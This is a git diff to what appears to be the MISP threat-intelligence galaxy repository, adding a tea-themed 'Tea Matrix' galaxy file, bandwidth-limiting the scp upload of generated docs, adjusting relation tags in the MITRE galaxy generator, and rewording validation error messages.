100644 index 0000000..0acfc44 --- /dev/null +++ b/galaxies/tea-matrix.json @@ -0,0 +1,20 @@ +{ + "description": "Tea Matrix", + "icon": "map", + "kill_chain_order": { + "tea": [ + "black", + "blend", + "green", + "white", + "yellow", + "oolong", + "post-fermented" + ] + }, + "name": "Tea Matrix", + "namespace": "tea-matrix", + "type": "tea-matrix", + "uuid": "c5f2dfb4-21a1-42d8-a452-1d3c36a204ff", + "version": 1 +} diff --git a/tools/gen_adoc_galaxy.sh b/tools/gen_adoc_galaxy.sh index b3f75be..629e590 100755 --- a/tools/gen_adoc_galaxy.sh +++ b/tools/gen_adoc_galaxy.sh @@ -3,5 +3,5 @@ asciidoctor -a allow-uri-read a.txt asciidoctor-pdf -a allow-uri-read a.txt cp a.html ../../misp-website/galaxy.html cp a.pdf ../../misp-website/galaxy.pdf -scp a.html circl@cpab.circl.lu:/var/www/nwww.circl.lu/doc/misp-galaxy/index.html -scp a.pdf circl@cpab.circl.lu:/var/www/nwww.circl.lu/doc/misp-galaxy/galaxy.pdf +scp -l 81920 a.html circl@cpab.circl.lu:/var/www/nwww.circl.lu/doc/misp-galaxy/index.html +scp -l 81920 a.pdf circl@cpab.circl.lu:/var/www/nwww.circl.lu/doc/misp-galaxy/galaxy.pdf diff --git a/tools/mitre-cti/v2.0/create_mitre-galaxy.py b/tools/mitre-cti/v2.0/create_mitre-galaxy.py index 6f4498e..e96f796 100755 --- a/tools/mitre-cti/v2.0/create_mitre-galaxy.py +++ b/tools/mitre-cti/v2.0/create_mitre-galaxy.py @@ -143,11 +143,12 @@ for domain in domains: # add the relation in the defined way rel_source = { "dest-uuid": dest_uuid, - "tags": [ - "estimative-language:likelihood-probability=\"almost-certain\"" - ], "type": rel_type } + if rel_type != 'subtechnique-of': + rel_source['tags'] = [ + "estimative-language:likelihood-probability=\"almost-certain\"" + ] if 'related' not in all_data_uuid[source_uuid]: all_data_uuid[source_uuid]['related'] = [] if rel_source not in all_data_uuid[source_uuid]['related']: diff --git a/validate_all.sh b/validate_all.sh index f797c55..ab9b473 100755 --- a/validate_all.sh +++ b/validate_all.sh @@ -18,7 +18,7 @@ set -x diffs=`git status --porcelain | wc -l` if ! [ $diffs -eq 0 ]; then - echo "Please make sure you run ./jq_all_the_things.sh before commiting." + echo "ERROR: Please commit your changes, and make sure you run ./jq_all_the_things.sh before committing." if [ $# -eq 0 ]; then exit 1 fi @@ -31,7 +31,7 @@ find -name "*.json" -exec chmod -x "{}" \; diffs=`git status --porcelain | wc -l` if ! [ $diffs -eq 0 ]; then - echo "Please make sure you run remove the executable flag on the json files before commiting: find -name "*.json" -exec chmod -x \"{}\" \\;" + echo "ERROR: Please make sure you run remove the executable flag on the json files before committing: find -name "*.json" -exec chmod -x \"{}\" \\;" exit 1 fi @@ -43,7 +43,7 @@ do jsonschema -i ${dir} schema_clusters.json rc=$? if [[ $rc != 0 ]]; then - echo "Error on ${dir}" + echo "ERROR on ${dir}" exit $rc fi echo '' @@ -55,7 +55,7 @@ do jsonschema -i ${dir} schema_galaxies.json rc=$? if [[ $rc != 0 ]]; then - echo "Error on ${dir}" + echo "ERROR on ${dir}" exit $rc fi echo '' @@ -67,7 +67,7 @@ do jsonschema -i ${dir} schema_misp.json rc=$? if [[ $rc != 0 ]]; then - echo "Error on ${dir}" + echo "ERROR on ${dir}" exit $rc fi echo '' @@ -79,7 +79,7 @@ do jsonschema -i ${dir} schema_vocabularies.json rc=$? if [[ $rc != 0 ]]; then - echo "Error on ${dir}" + echo "ERROR on ${dir}" exit $rc fi echo ''